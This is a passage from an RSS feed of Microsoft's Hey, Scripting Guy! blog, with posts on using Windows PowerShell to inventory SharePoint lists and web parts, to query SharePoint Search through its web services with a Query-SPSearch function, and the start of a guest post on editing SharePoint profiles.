&lt;p&gt;By checking a list&amp;rsquo;s &lt;a href="http://msdn.microsoft.com/library/microsoft.sharepoint.splist.basetype" target="_blank"&gt;BaseType&lt;/a&gt; property, we can filter out any Document Libraries and return only the count of lists (we could also filter on the &lt;a href="http://msdn.microsoft.com/library/microsoft.sharepoint.splist.basetemplate.aspx" target="_blank"&gt;BaseTemplate&lt;/a&gt; to filter on specific List types such as Announcements or Tasks). Because we are dealing with more objects, in this example we are going to work with a single site collection to reduce our performance impact on the server. The following image illustrates this technique.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/6862.hsg_2D00_12_2D00_15_2D00_11_2D00_3.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/6862.hsg_2D00_12_2D00_15_2D00_11_2D00_3.jpg" alt="Image of script" title="Image of script" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Of course, it would be better to see where the lists exist. To do this requires a bit more work as shown in the following image. (This code can be found in the &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Get-count-of-all-a0a5d484" target="_blank"&gt;Script Center Repository&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0116.hsg_2D00_12_2D00_15_2D00_11_2D00_4.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0116.hsg_2D00_12_2D00_15_2D00_11_2D00_4.jpg" alt="Image of script" title="Image of script" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Finding specific web parts&lt;/h2&gt;
&lt;p&gt;Great! Now we know where our lists are! In our final scenario, we will take a look at finding specific web parts in a site. In this example, we will keep things simple and assume that the web parts are stored on the homepage of a site (known as the &lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPFolder.WelcomePage" target="_blank"&gt;WelcomePage&lt;/a&gt;). We will limit our inventory to a single site collection, and we will look for Content Editor Web Parts. This technique is shown in the following image.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3582.hsg_2D00_12_2D00_15_2D00_11_2D00_5.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3582.hsg_2D00_12_2D00_15_2D00_11_2D00_5.jpg" alt="Image of script" title="Image of script" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Again, just knowing how many items is not usually the end of the story. In this case, let us suppose that we want to remove all of the Content Editor Web Parts from the site. We will need to update the script to first inventory the web parts (the important things are their web pages and IDs), and then we&amp;rsquo;ll go back and delete them one at a time (because we can&amp;rsquo;t update the collection as we&amp;rsquo;re looping through).&lt;/p&gt;
&lt;p&gt;Another interesting hiccup occurs when we try to open the website that contains the page. The &lt;a href="http://technet.microsoft.com/en-us/library/ff607807.aspx"&gt;Get-SPWeb&lt;/a&gt; and &lt;a href="http://technet.microsoft.com/en-us/library/ff607950.aspx"&gt;Get-SPSite&lt;/a&gt; cmdlets are not as forgiving as the constructors for these classes, so if we pass in a URL for a page within the site, it will not return the object for us. Instead, I&amp;rsquo;m using &lt;b&gt;New-Object&lt;/b&gt; to create an &lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPSite"&gt;SPSite&lt;/a&gt; object, rather than the cmdlet (by the way, this is how you had to do it when you were working with SharePoint prior to the Management Shell). Here is the code for removing the web parts. (This code can be found in the &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Count-and-remove-all-45773378"&gt;Script Center Repository&lt;/a&gt; also.)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5658.hsg_2D00_12_2D00_15_2D00_11_2D00_6.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5658.hsg_2D00_12_2D00_15_2D00_11_2D00_6.jpg" alt="Image of script" title="Image of script" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In summary, we have explored how to inventory webs, lists, and web parts in our SharePoint site. We have also shown how you can work with classes from the SharePoint Object Model to extend your inventory scripts to make updates across your environment.&lt;/p&gt;
&lt;p&gt;The value of Windows PowerShell to SharePoint administrators extends far beyond the cmdlets that ship with SharePoint 2010 and options like Backup and Restore. Windows PowerShell gives administrators the ability to rapidly inventory and update their environments.&lt;/p&gt;
&lt;p&gt;~Raymond&lt;/p&gt;
&lt;p&gt;Thank you, Raymond, for a great Windows PowerShell and SharePoint blog post. Join us tomorrow for more cool Windows PowerShell stuff.&lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;Twitter&lt;/a&gt; and &lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Ed Wilson, Microsoft Scripting Guy&lt;/b&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3470864" width="1" height="1" alt="" /&gt;</description></item><item><title>Use SharePoint Web Services and PowerShell to Work with Search</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/12/01/use-sharepoint-web-services-and-powershell-to-work-with-search.aspx</link><pubDate>Thu, 01 Dec 2011 06:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:13435</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Learn how to use the web services in SharePoint with Windows PowerShell to query for search results.&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. Today our Guest Blogger Week continues with an excellent post about using Windows PowerShell cmdlets with SharePoint. The post is written by a return guest, &lt;a href="http://blogs.technet.com/search/searchresults.aspx?q=josh%20gavant&amp;amp;sections=7618" target="_blank"&gt;Josh Gavant&lt;/a&gt;. For those of you who might not recall from his previous posts, here is a little bit about Josh:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Josh is a premier field engineer (PFE) with Microsoft Services, and he specializes in SharePoint and Windows PowerShell. When he is not playing with computers, he enjoys music and running with his wonderful wife in beautiful Chicago.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Contact information:&lt;br /&gt;Blog: &lt;a href="http://blogs.msdn.com/besidethepoint" target="_blank"&gt;Beside the Point&lt;br /&gt;&lt;/a&gt;Twitter: &lt;a href="http://twitter.com/joshugav" target="_blank"&gt;@joshugav&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;: The script for today&amp;rsquo;s blog is posted in the &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Query-SPSearch-3281aec0" target="_blank"&gt;Scripting Guys Script Repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Take it away Josh!&lt;/p&gt;
&lt;p&gt;Many SharePoint services can be accessed directly by using web services calls. An advantage of utilizing web services instead of the SharePoint object model is that service calls work neatly and predictably from clients, with no need for any additional DLLs or installations. Customers who are building custom applications on top of SharePoint often take advantage of the web services in SharePoint to layer custom interfaces and services on top of SharePoint. We can also take advantage of these services via Windows PowerShell as an aid in testing and as a component of proper scripts.&lt;/p&gt;
&lt;p&gt;To access the web services in SharePoint, we will utilize the &lt;b&gt;New-WebServiceProxy&lt;/b&gt; cmdlet in Windows PowerShell, which automatically retrieves the Web Service Description Language (WSDL) document for a web service and dynamically builds a proxy that is able to connect to that service. Like other object frameworks (such as COM, .NET, and WMI), Windows PowerShell does us the favor of abstracting the differences between different types of objects. It then surfaces a web service in the same manner as other Windows PowerShell objects, with members like any other Windows PowerShell member.&lt;/p&gt;
&lt;p&gt;Of the several &lt;a href="http://msdn.microsoft.com/en-us/library/ee705814.aspx" target="_blank"&gt;SharePoint front-end web services&lt;/a&gt; that are available, we will focus on retrieving search results through &lt;a href="http://msdn.microsoft.com/en-us/library/websvcsearch.queryservice.aspx" target="_blank"&gt;QueryService&lt;/a&gt;. First, we&amp;rsquo;ll complete the simple task of building a proxy object. Then we&amp;rsquo;ll build up the necessary elements to send off a query through our proxy. Finally, we&amp;rsquo;ll wrap things up in a function to make life easier.&lt;/p&gt;
&lt;p&gt;The only trick to remember when calling a SharePoint web service is that you need to authenticate yourself. So use the following paradigm to create a web service proxy for the Search service (substitute your value for $WebApplicationPath):&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$WebApplicationPath = &amp;ldquo;&amp;lt;Path_To_WebApplication&amp;gt;&amp;rdquo;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$SearchPath = &amp;ldquo;/_vti_bin/Search.asmx&amp;rdquo;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$SearchWS = New-WebServiceProxy -Uri ($WebApplicationPath + $SearchPath) -UseDefaultCredential&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Part of the purpose of creating the proxy in Windows PowerShell is to explore the interfaces that it offers. In the spirit of exploration, run the following commands:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$SearchWS | Get-Member&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$SearchWS.Query&lt;/p&gt;
&lt;p&gt;Note that the second command returns a &lt;b&gt;MethodInfo&lt;/b&gt; object with information about the method to be called. Two methods of interest are returned by &lt;b&gt;Get-Member&lt;/b&gt; from the Search service proxy: &lt;b&gt;Query&lt;/b&gt; and &lt;b&gt;QueryEx&lt;/b&gt;. Both take an XML document describing the query, but they differ in the results they return. &lt;b&gt;Query&lt;/b&gt; returns results in XML form, and &lt;b&gt;QueryEx&lt;/b&gt; returns results as an ADO.NET dataset. Both can be treated as first class objects in Windows PowerShell, but I like using ADO.NET better in Windows PowerShell, so we will use &lt;b&gt;QueryEx&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;Now we must build our &lt;strong&gt;Query&lt;/strong&gt;XML.&amp;nbsp;When we have completed building our &lt;b&gt;Query&lt;/b&gt; XML, we will call the &lt;b&gt;QueryEx&lt;/b&gt; method.&amp;nbsp;You can find the &lt;a href="http://msdn.microsoft.com/en-us/library/ms563775.aspx" target="_blank"&gt;Microsoft.Search.Query schema&lt;/a&gt; on MSDN. We will use this form, relying on defaults for some excluded nodes as shown here:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$KeywordQuery = &amp;ldquo;Test SharePoint&amp;rdquo;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Count = 10&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$QueryXml = @&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;lt;QueryPacket xmlns=&amp;quot;urn:Microsoft.Search.Query&amp;quot; &amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Query&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Context&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;QueryText type=&amp;quot;STRING&amp;quot;&amp;gt;$KeywordQuery&amp;lt;/QueryText&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Context&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Range&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Count&amp;gt;$Count&amp;lt;/Count&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Range&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeSpecialTermResults&amp;gt;false&amp;lt;/IncludeSpecialTermResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;PreQuerySuggestions&amp;gt;false&amp;lt;/PreQuerySuggestions&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;HighlightQuerySuggestions&amp;gt;false&amp;lt;/HighlightQuerySuggestions&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeRelevantResults&amp;gt;true&amp;lt;/IncludeRelevantResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeHighConfidenceResults&amp;gt;false&amp;lt;/IncludeHighConfidenceResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Query&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;lt;/QueryPacket&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;quot;@&lt;/p&gt;
&lt;p&gt;Note the use of an expandable here-string. This gives me the best of both worlds&amp;mdash;between the opening and closing lines, I need not worry about quotation marks, and yet I can use variables to specify values in the text. Originally, I wrote this script by using [xml] objects, but then I decided that using a string of XML would be easier.&lt;/p&gt;
&lt;p&gt;In this case, I declared values for &lt;b&gt;$KeywordQuery&lt;/b&gt; and &lt;b&gt;$Count&lt;/b&gt; right before setting &lt;b&gt;$QueryXml&lt;/b&gt;. When I wrap this into a function, &lt;b&gt;$KeywordQuery&lt;/b&gt; and &lt;b&gt;$Count&lt;/b&gt; will be the function&amp;rsquo;s parameters.&lt;/p&gt;
&lt;p&gt;With my setup work out of the way, I&amp;rsquo;m ready to call the proxy&amp;rsquo;s method with my XML. The return from this method is an ADO.NET dataset, which is a collection of data tables. I have written the &lt;b&gt;Query&lt;/b&gt; XML in such a way that there is only one table (RelevantResults) in this dataset; if it is written in other ways, there could be two or three tables. To be on the safe side, I retrieve the &lt;b&gt;RelevantResults&lt;/b&gt; table from the set. Windows PowerShell will automatically enumerate through each data row in the data table and create an object that is based on the values of columns in the row. Here are the relevant commands:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Results = $SearchWS.QueryEx( $QueryXml )&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Results.Tables[&amp;ldquo;RelevantResults&amp;rdquo;]&lt;/p&gt;
&lt;p&gt;The default output contains a number of properties, some of which may not be relevant to you. A nice set of properties to start with is returned by the following command:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Results.Tables[&amp;ldquo;RelevantResults&amp;rdquo;] | Format-Table Title, Author, ContentClass, Path&lt;/p&gt;
&lt;p&gt;If you wanted to retrieve different properties from the search engine, you could modify the XML to specify any managed property in SharePoint Search (use &lt;b&gt;Get-SPEnterpriseSearchMetadataManagedProperty&lt;/b&gt; to get a list). I will leave that as an exercise for you.&lt;/p&gt;
&lt;p&gt;We have now presented all the steps to query SharePoint search via Windows PowerShell. Let us wrap it into a nice, easy-to-use function. The complete function is shown here. (I have also uploaded it to the &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Query-SPSearch-3281aec0"&gt;Scripting Guys Script Repository&lt;/a&gt; for ease of copying.)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;function Query-SPSearch {&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; param(&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Parameter(Mandatory=$true)]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [String]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $WebApplicationPath,&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Parameter(Mandatory=$true)]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [String]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $KeywordQuery,&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Parameter()]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Int32]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Count = 10&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; )&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$QueryXml = @&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;lt;QueryPacket xmlns=&amp;quot;urn:Microsoft.Search.Query&amp;quot; &amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Query&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Context&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;QueryText type=&amp;quot;STRING&amp;quot;&amp;gt;$KeywordQuery&amp;lt;/QueryText&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Context&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Range&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Count&amp;gt;$Count&amp;lt;/Count&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Range&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeSpecialTermResults&amp;gt;false&amp;lt;/IncludeSpecialTermResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;PreQuerySuggestions&amp;gt;false&amp;lt;/PreQuerySuggestions&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;HighlightQuerySuggestions&amp;gt;false&amp;lt;/HighlightQuerySuggestions&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeRelevantResults&amp;gt;true&amp;lt;/IncludeRelevantResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IncludeHighConfidenceResults&amp;gt;false&amp;lt;/IncludeHighConfidenceResults&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/Query&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;lt;/QueryPacket&amp;gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;quot;@&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ServicePath = &amp;quot;/_vti_bin/search.asmx&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $SearchWS = New-WebServiceProxy -Uri ($WebApplicationPath + $ServicePath) -UseDefaultCredential&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Results = $SearchWS.QueryEx( $QueryXml )&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # we excluded all other result sets, but just in case get the one we want:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Results.Tables[&amp;quot;RelevantResults&amp;quot;]&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;}&lt;/p&gt;
&lt;p&gt;Typical usage for this function would be as follows:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Query-SPSearch -WebApplicationPath &amp;ldquo;http://sharepoint10&amp;rdquo; -KeywordQuery &amp;ldquo;SharePoint test&amp;rdquo; -Count 20 | Format-Table Title, Author, Path&lt;/p&gt;
&lt;p&gt;I hope this helps you get started down the road to discovering and utilizing the web services in SharePoint. Be sure to check out my SharePoint and Windows PowerShell posts on my &lt;a href="http://blogs.msdn.com/b/besidethepoint/" target="_blank"&gt;Beside the Point blog&lt;/a&gt; on MSDN. Thanks!&lt;/p&gt;
&lt;p&gt;~Josh&lt;/p&gt;
&lt;p&gt;Thanks, Josh, for sharing your time and knowledge. I had heard about the web services in SharePoint, but I have never played around with them, and I have since completely forgotten about them. This gives me something with which to experiment. Sweet! Join me tomorrow for a great guest post by &lt;a href="http://blogs.technet.com/search/searchresults.aspx?q=%22jan%20egil%20ring%22&amp;amp;sections=7618" target="_blank"&gt;Jan Egil Ring&lt;/a&gt; about working with Microsoft Exchange Web Services&amp;mdash;seems to be more than one theme at work here. See you!&lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;Twitter&lt;/a&gt; and &lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Ed Wilson, Microsoft Scripting Guy&lt;/b&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3467687" width="1" height="1" alt="" /&gt;</description></item><item><title>Use PowerShell to Edit SharePoint Profiles</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/11/12/use-powershell-to-edit-sharepoint-profiles.aspx</link><pubDate>Sat, 12 Nov 2011 06:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:13212</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;span style="font-size:small;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;strong&gt;Summary:&lt;/strong&gt; Microsoft Premier Field Engineer Chris Weaver shows how to use Windows PowerShell to edit SharePoint profiles.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:small;"&gt;&lt;span style="font-family:Segoe;"&gt;Microsoft Scripting Guy Ed Wilson here. It is Guest Blogger Weekend. To start the weekend, we have Chris Weaver. The &lt;/span&gt;&lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/tags/scripting%20wife/"&gt;&lt;span style="font-family:Segoe;"&gt;Scripting Wife&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt; and I recently met Chris &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Real_life"&gt;&lt;span style="font-family:Segoe;"&gt;in real life (IRL)&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt; at Geek Ready, a conference at which I was speaking. What can I say? Chris is cool! Here is his biography.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/1452.WES_2D00_11_2D00_12_2D00_11_2D00_1.jpg"&gt;&lt;img style="border:0px;" title="Photo of Chris Weaver" alt="Photo of Chris Weaver" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/1452.WES_2D00_11_2D00_12_2D00_11_2D00_1.jpg" width="150" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:small;"&gt;&lt;span style="font-family:Segoe;"&gt;I have been working at Microsoft since late 2008. During that time I have been an engineer within CSS, a SharePoint 2010 TAP, and most recently a dedicated premier field engineer working with several of our Premier customers to support their SharePoint infrastructure. I have been using Windows PowerShell for the last two years to simplify the administration and troubleshooting of SharePoint for my customers. I very recently started &lt;/span&gt;&lt;a href="http://blogs.technet.com/b/christwe/"&gt;&lt;span style="font-family:Segoe;"&gt;my own blog&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt;, which will look at issues with SharePoint and its supporting infrastructure. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;I enjoy camping with my family and kite surfing in my spare time (yeah, right, who has any of that?).&lt;/span&gt;&lt;span style="font-size:small;"&gt;&lt;b&gt;&lt;span style="font-family:Segoe;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
